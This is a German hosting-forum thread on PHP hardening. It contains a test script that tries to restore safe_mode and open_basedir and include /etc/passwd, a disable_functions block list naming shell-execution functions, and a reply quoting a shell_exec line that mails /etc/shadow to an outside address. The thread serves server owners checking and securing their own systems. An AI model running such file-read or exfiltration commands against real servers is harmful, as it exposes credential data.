Howto zu div. PHP Schwachstellen

DerFalk

Registered User
Probiert mal auf Eurer Linux Root-Maschine folgendes Script (z.B. in eine test.php schreiben) aus:

Code:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>


falls Ihr dann eine Anzeige mit der passwd bekommt, habt ihr ein kleines Problem ;)

Abhilfe schafft man damit, wenn man in der php.ini folgende Einträge bei disable_functions macht:
Code:
disable_functions = show_source, system, shell_exec, passthru, exec, popen, proc_open, symlink, wordwrap, url_fopen, phpcredits, escapeshellarg, escapeshellcmd, proc_close, proc_get_status, proc_nice, proc_terminate, virtual, ini_set, ini_alter, ini_restore, set_include_path, php_ini_scanned_files, memory_get_usage

Vorher sollte man sich aber im Klaren sein, dass es dadurch zu div. Problemen mit Webauftritten kommen KANN. Am besten man durchsucht erstmal die einzelnen Parameter, die oben aufgeführt sind mit grep auf die einzelnen Webs und wägt dann ab, was Sinn macht und was nicht.
 
Last edited by a moderator:
was für eine Meldung wierd ausgegeben wenn alles Sicher ist ?
 
wenn alles "sicher" ist, kommt halt KEINE Ausgabe der passwd. Man kann das
Code:
include("/etc/passwd");
auch mal durch ein z.B.
Code:
include("/var/log/messages");
ersetzen und sich dann ein wenig "freuen"!

Bei Plesk ist dann noch das Problem, das JEDER Userlogin mit dem Passwort als KLARTEXT angezeigt wird :(
 
Bei mir kommt beim ersten Beispiel dieses Hier:

/var/www/vhosts/XXXXXXX.de/httpdocs:/tmp
Warning: main(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/XXXXXXXXX.de/httpdocs:/tmp) in /var/www/vhosts/XXXXXXX.de/httpdocs/test.php on line 4

Warning: main(/etc/passwd): failed to open stream: Operation not permitted in /var/www/vhosts/XXXXXXX.de/httpdocs/test.php on line 4

Warning: main(): Failed opening '/etc/passwd' for inclusion (include_path='.:') in /var/www/vhosts/XXXXXXXXXX.de/httpdocs/test.php on line 4
Beispiel bekomme ich diese Meldung:
Code:
[COLOR=Red][B]Der Mod war so nett und hat Deine passwd wieder gelöscht...!
[/B][/COLOR]

/var/www/vhosts/XXXXXXX.de/httpdocs:/tmp
Warning: main(): open_basedir restriction in effect. File(/etc/passwd) is not within the allowed path(s): (/var/www/vhosts/XXXXXX.de/httpdocs:/tmp) in /var/www/vhosts/XXXXXX.de/httpdocs/test.php on line 4

Warning: main(/etc/passwd): failed to open stream: Operation not permitted in /var/www/vhosts/XXXXXX.de/httpdocs/test.php on line 4

Warning: main(): Failed opening '/etc/passwd' for inclusion (include_path='.:') in /var/www/vhosts/XXXXXX.de/httpdocs/test.php on line 4

Warning: main(/var/log/messages): failed to open stream: Permission denied in /var/www/vhosts/XXXXXX.de/httpdocs/test.php on line 9

Warning: main(): Failed opening '/var/log/messages' for inclusion (include_path='.:') in /var/www/vhosts/XXXXXX.de/httpdocs/test.php on line 9
So wie es aussieht sagt mein Server/PHP: "Du kommst hier net rein".
 
Last edited by a moderator:
Ich würde phpinfo() erlauben, da die Funktion von vielen Anwendungen benötigt wird. Zusätzlich würde ich url_fopen() verbieten. Das braucht man in der Praxis kaum, die Funktion wird aber häufig für Angriffe genutzt.
 
Hallo.
Ich weiß, das ist eine fatale Geschichte für Hoster.
Habe ich bereits drauf hingewiesen:
(um mal wieder etwas anzugeben)
 
hehe, nee ist doch super. Gerade mit so einem Beispiel wird das mal wieder bewusster und regt vlt. eher zum Absichern als ein langweiliger Text an.
Wollte deinen Test damit nicht runtermachen.
 
@DerFalk: Besten Dank für dein Beispiel. Hätte ich echt nicht gedacht das es so einfach ist die passwd einzulesen.

@All: Ich setze relativ viele PHP Scripts ein und möchte deren Funktionen nicht einschränken. Gibt es denn wirklich keine Vernünftige Möglichkeit zu verhindern das die passwd resp. andere kritische Dateien mit PHP nicht ausgelesen werden können, ohne alle diese Funktionen zu deaktivieren?

EDIT: Habe festgestellt das nicht mal das deaktivieren dieser Funktionen den Zugriff auf die passwd verhindert?! /var/log/messages wird aber zum glück nicht angezeigt. Was ich auch merkwürdig finde:

PHP4 als Modul geladen gibt die passwd nicht aus.
PHP5 als CGI mit suexec verwendet gibt die passwd aus.
Beide haben die gleiche php.ini und sind nahezu mit den gleichen Optionen kompiliert worden:

PHP4:
Code:
../configure --prefix=/usr --with-apxs2=/usr/bin/apxs2 --with-config-file-path=/etc/php4/apache2 --enable-memory-limit --disable-debug --with-regex=php --disable-rpath --disable-static --with-pic --with-layout=GNU --with-pear=/usr/share/php --enable-calendar --enable-sysvsem --enable-sysvshm --enable-sysvmsg --enable-track-vars --enable-trans-sid --enable-bcmath --with-bz2 --enable-ctype --with-db4 --with-iconv --enable-exif --enable-filepro --enable-ftp --with-gettext --enable-mbstring --with-pcre-regex=/usr --enable-shmop --enable-sockets --enable-wddx --disable-xml --with-expat-dir=/usr --with-xmlrpc --enable-yp --with-zlib --without-pgsql --with-kerberos=/usr --with-openssl=/usr --with-zip=/usr --enable-dbx --with-mime-magic=/usr/share/misc/file/magic.mime --with-exec-dir=/usr/lib/php4/libexec --without-mm --without-mysql --without-sybase-ct

PHP5:
Code:
./configure --prefix=/usr/share/php5 --datadir=/usr/share/php5 --bindir=/usr/bin/php5 --with-config-file-path=/etc/php5 --with-exec-dir=/usr/lib/php5/bin --enable-memory-limit --enable-force-cgi-redirect --disable-debug --with-regex=php --disable-rpath --disable-static --with-pic --with-layout=GNU --with-pear=/usr/share/php --enable-calendar --enable-sysvsem --enable-sysvshm --enable-sysvmsg --enable-track-vars --without-mysql --enable-trans-sid --enable-bcmath --with-bz2 --enable-ctype --with-iconv --enable-exif --enable-filepro --enable-ftp --with-gettext --enable-mbstring --with-pcre-regex --enable-shmop --enable-sockets --enable-wddx --disable-xml --with-expat-dir=/usr --with-xmlrpc --enable-yp --with-zlib --without-pgsql --with-kerberos=/usr --with-openssl=/usr --with-zip=/usr --enable-dbx --with-mime-magic=/usr/share/misc/file/magic.mime --without-mm --without-mysql --without-sybase-ct


Danke schon mal im Vorraus,
Dawn
 
Last edited by a moderator:
EDIT: Habe festgestellt das nicht mal das deaktivieren dieser Funktionen den Zugriff auf die passwd verhindert?! /var/log/messages wird aber zum glück nicht angezeigt.

Bei mir das gleiche :)

Was mich aber noch viel mehr beunruhigt ist, dass ich damit auch die /etc/shadow öffnen kann. Jedenfalls bei einem meiner neuen gemieteten Server war es default so. Ich empfehle, wenn ihr mit dem Server hostet, dass ihr ein open_basedir setzt!

NUn aber folgendes: Ich brauche in einigen Scripts shell_exec, will es also nicht verbieten. Aber ich habe halt die Befürchtung, dass einige meiner kunden bspw. mal eben shell_exec("mail adresse@domain.de -s /etc/shadow < /etc/shadow"); in ein PHP-File schreiben und somit praktisch wichtige Daten frei Haus geliefert bekommen.

Ich habe es dann also so probiert: Safemode an und safe_mode_exec_dir auf das Verzeichnis /bin/safeexec gesetzt und dort dann vom bin-Ordner die Programme kopiert, die ich brauche. Klappt aber nicht :-(

Es kommt dann: Warning: shell_exec(): Cannot execute using backquotes in Safe Mode. Der Befehl lautet shell_execute("whois $domain");

Ohne den Backquote geht es natürlich auch nicht... :(
 
Last edited by a moderator:
Hallo,

ich habe mir die test.php aus dem ersten Beitrag mal kopiert und bei mir ausgeführt, ich bekomme nur eine weiße Seite.
Keine Fehlermeldung, keine andere Ausgaben, nichts.

Benutze Lighttpd + PHP5 FastCGI, eAccelerator, MySQL5 unter Debian 3.1.
safe_mode steht auf On, open_basedir ist auf das richtige Verzeichnis gesetzt, expose_php steht auf Off.
 
Back
Top